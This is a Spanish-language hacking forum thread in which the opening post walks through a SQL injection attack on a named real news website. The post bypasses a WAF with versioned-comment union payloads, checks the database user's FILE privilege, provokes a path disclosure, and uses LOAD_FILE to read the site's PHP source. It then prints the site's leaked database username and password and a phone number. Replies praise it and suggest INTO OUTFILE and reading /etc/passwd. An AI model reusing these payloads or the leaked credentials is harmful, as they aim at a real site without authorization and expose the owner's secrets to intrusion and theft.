comment
IRC Chat
play_arrow
Este sitio utiliza cookies propias y de terceros. Si continúa navegando consideramos que acepta el uso de cookies. OK Más Información.

Full Source Disclosure por SQLI

  • 8 Respuestas
  • 4110 Vistas

0 Usuarios y 3 Visitantes están viendo este tema.

Desconectado hdbreaker

  • *
  • Underc0der
  • Mensajes: 411
  • Actividad:
    0%
  • Reputación 0
  • HD_Breaker
    • Ver Perfil
    • Security Signal
    • Email
  • Skype: hdbreaker96
  • Twitter: @SecSignal
« en: Julio 25, 2013, 04:01:18 am »
Bueno volviendo despues de un tiempo que me tuve que tomar por la facutad, aprovecho para dejar este aporte:

Realizar FSD por medio de SQLI:

Veamos esta Web con SQLI:

http://www.lasemana.es/periodico/noticia.php?cod=34689




despues de explotar el sqli y Bypassear el WAF queda asi:



Vector:

http://www.lasemana.es/periodico/noticia.php?cod=34689 /*!50000union*/ /*!50000select*/ 1,2,3,0x6864627265616b6572,version(),6,user(),8,@@datadir,10,11,12,13,14,15,16 limit 1,1-- -c

como podemos ver, la inyección es Union Based, y saltamos un WAF que solo filtra union y select, ahora mi pregunta es si el usuario

lasema@localhost

Tiene privilegios de Apertura de Ficheros, nos fijamos de la siguiente manera:

Dentro de information_schema existe una tabla que se llama USER_PRIVILEGES,
Dentro de esta tabla existe 2 campos que nos interesan:

GRANTEE: Posee los nombre de usuario de la base de datos.
PRIVILEGE_TYPE: Tipo de privilegio que tiene el usuario.

entonces la logica, nos dice que tenemos que formular algo como esto:

select * from information_schema.USER_PRIVILEGES;

pero esto nos devolveria muchos usuarios que no nos interesan que permisos tienen,
nosotros queremos saber que permisos tiene: "lasema@localhost"  espesificamente si tiene el permiso FILE, a mi se me ocurre algo como esto:

SELECT GRANTEE FROM INFORMATION_SCHEMA.USER_PRIVILEGES WHERE PRIVILEGE_TYPE="FILE";

esto nos mostraria todos los usuarios que tienen permisos FILE en la base de datos, entre eso buscaremos si se encuentra "lasema@localhost"

entonces acoplamos nuestra query sql a nuestra sentencia SQLI quedando de esta forma:

http://www.lasemana.es/periodico/noticia.php?cod=34689 /*!50000union*/ /*!50000select*/ 1,2,3,4,version(),6,user(),group_concat(GRANTEE),@@datadir,10,11,12,13,14,15,16 from information_schema.USER_PRIVILEGES WHERE PRIVILEGE_TYPE=0x46494c45 limit 1,1-- -c

donde 0x46494c45 es el hexadecimal de FILE (Esto lo hacemos ya que no podemos encapsular FILE entre ' ' o " ")

vemos que nos devuelve esto:



podemos ver que al usar group_concat, la injection no logra ser completamente visible desde la interface de usuario, por lo que nos aventuraremos a ver el Source Code y buscando la palabra root nos posicionaremos sobre la linea de la injection:



Como podemos observar "lasema" aparece en esa linea, por lo que podemos determinar que el usuario "lasema@localhost" tiene permisos de FILE y podemos realizar lectura de archivo.

Para esto implementaremos nuestro querido:

LOAD_FILE("RUTA/ARCHIVO")

Bueno lo primero que debemos lograr es un Patch Disclosure que nos diga donde estamos parado, para esto vamos a intentar generar un error con caracteres invalidos para la web:

A mi se me ocurre poner algo tan simple como una '  y logro obtener esta respuesta:



podemos apreciar:

Warning: mysql_num_rows(): supplied argument is not a valid MySQL result resource in /var/www/docs/lasemana.es/periodico/noticia.php on line 8
donde mysql nos vuelve a dar una mano y nos revela nuestro patch disclosure:  /var/www/docs/lasemana.es/periodico/noticia.php

Recapitulando:

Gracias a nuestro usuario "lasema@localhost" que posee privilegios de FILE podremos realizar LOAD_FILE(RUTA) donde RUTA el path de nuestro Patch Disclosure!

Manos a la Obra:

Nuestra SQLI queda de esta Forma:

http://www.lasemana.es/periodico/noticia.php?cod=34689 /*!50000union*/ /*!50000select*/ 1,2,3,4,version(),6,user(),LOAD_FILE(0x2f7661722f7777772f646f63732f6c6173656d616e612e65732f706572696f6469636f2f6e6f74696369612e706870),@@datadir,10,11,12,13,14,15,16 limit 1,1-- -c

Donde 0x2f7661722f7777772f646f63732f6c6173656d616e612e65732f706572696f6469636f2f6e6f74696369612e706870 es el hexadeciman de: /var/www/docs/lasemana.es/periodico/noticia.php (Ruta de nuestro Path Disclouse)

y Observaremos algo que esta muy enquilombado y no se entiende nada XD



por lo que asumo que desde nuestro codigo fuente se vera mas ordenado :D



y vemos muy claramente, el usuario y password de la base de datos:


$usuario = "lasema";
$contraseña = "arcaliso";
$conexion = mysql_connect("localhost", "$usuario","$contraseña") or mail ("sms@alisys.net","607720916","Se ha caido el Servidor","From: SOPORTE <soporte@lasemana.es>");

Espero que les sea de Utilidad!

HD_Breaker
« Última modificación: Noviembre 23, 2014, 02:30:32 pm por Expermicid »

Ser Libres es un Privilegio por el cual pocos estamos dispuestos a correr el riesgo

Desconectado ZanGetsu

  • *
  • Underc0der
  • Mensajes: 325
  • Actividad:
    1.67%
  • Reputación 0
  • I ZanGetsu
    • Ver Perfil
  • Skype: thenicox
  • Twitter: black_zangetsu
« Respuesta #1 en: Julio 25, 2013, 04:31:38 am »
Muy Bueno el post bro ! !

Desconectado M5f3r0

  • *
  • Underc0der
  • Mensajes: 44
  • Actividad:
    0%
  • Reputación 0
  • Leer la firma.
    • Ver Perfil
  • Skype: m5f3r0
« Respuesta #2 en: Julio 25, 2013, 12:53:38 pm »
Excelente post! Desconocía de esto.

Sigue así! ;D.
A veces, observo mi pasado y me arrepiento en la actualidad de todo lo que llegue a perder y olvidar por como me veía la sociedad, nunca dejes que las opiniones de los demás te lleguen a afectar moralmente hasta el punto en que dejes de hacer lo que más te apasiona, saludos! (msj escrito en el 2016)

Desconectado SyntaxError

  • *
  • Underc0der
  • Mensajes: 1
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #3 en: Julio 26, 2013, 09:07:27 am »
muy bueno bro :D

Desconectado kr4n3

  • *
  • Underc0der
  • Mensajes: 15
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
« Respuesta #4 en: Julio 26, 2013, 12:22:41 pm »
genial broo se agradece

Desconectado BigBear

  • *
  • Underc0der
  • Mensajes: 543
  • Actividad:
    0%
  • Reputación 3
    • Ver Perfil
« Respuesta #5 en: Julio 26, 2013, 12:36:09 pm »
cuando lei el titulo pense que era una vulnerabilidad nueva xDD , es el clasico load_file() en SQLi.

Desconectado TUNOVATO

  • *
  • Underc0der
  • Mensajes: 21
  • Actividad:
    0%
  • Reputación 0
    • Ver Perfil
    • Email
« Respuesta #6 en: Julio 26, 2013, 10:29:42 pm »
el clasico LOAD_FILE()   :o :o :o :o


aer cuando no puedes ver o provocar el error y ver el path o Document Root...!!!!


tambien tenes que aprovechar de explicar INTO OUTFILE para culminar el tuto...

pero ta bueno
« Última modificación: Julio 26, 2013, 10:31:36 pm por TUNOVATO »

Desconectado hdbreaker

  • *
  • Underc0der
  • Mensajes: 411
  • Actividad:
    0%
  • Reputación 0
  • HD_Breaker
    • Ver Perfil
    • Security Signal
    • Email
  • Skype: hdbreaker96
  • Twitter: @SecSignal
« Respuesta #7 en: Julio 26, 2013, 11:49:22 pm »
Es parecido a LFI por medio de SQLI pero con distintos fines, sino se puede incluir /etc/passwd y ver entre los usuarios el path que corresponde a esa web

Ser Libres es un Privilegio por el cual pocos estamos dispuestos a correr el riesgo

Desconectado 1v@n

  • *
  • Underc0der
  • Mensajes: 14
  • Actividad:
    0%
  • Reputación 0
  • JIMR
    • Ver Perfil
  • Skype: jaime981@hotmail.com
« Respuesta #8 en: Diciembre 26, 2013, 01:31:25 pm »
muy buen aporte , gracias,,, 

 

¿Te gustó el post? COMPARTILO!



SQLI tutorial pour débutants ( newbie) ecrite par *..::Key-m0rt::..*

Iniciado por ..::key-m0rt::..

Respuestas: 0
Vistas: 1820
Último mensaje Marzo 23, 2010, 12:38:21 pm
por ..::key-m0rt::..
LFI+SQLI [Incluyendo ficheros a travez de valores enteros]

Iniciado por q3rv0

Respuestas: 4
Vistas: 1862
Último mensaje Julio 24, 2013, 01:43:36 pm
por M5f3r0
[Video] Jugando al JuAckEr pt 1. [No es tutorial][SQLi+Deface]

Iniciado por Xt3mP

Respuestas: 0
Vistas: 1646
Último mensaje Julio 21, 2010, 07:43:44 pm
por Xt3mP
Inyección SQLi Manual Metodo (POST)

Iniciado por OswireW0rding

Respuestas: 3
Vistas: 3578
Último mensaje Marzo 16, 2014, 11:59:48 pm
por Snifer
Explicacion practica de sqli [a pedido de staRgan]

Iniciado por blozzter

Respuestas: 0
Vistas: 1582
Último mensaje Agosto 24, 2011, 09:15:14 pm
por blozzter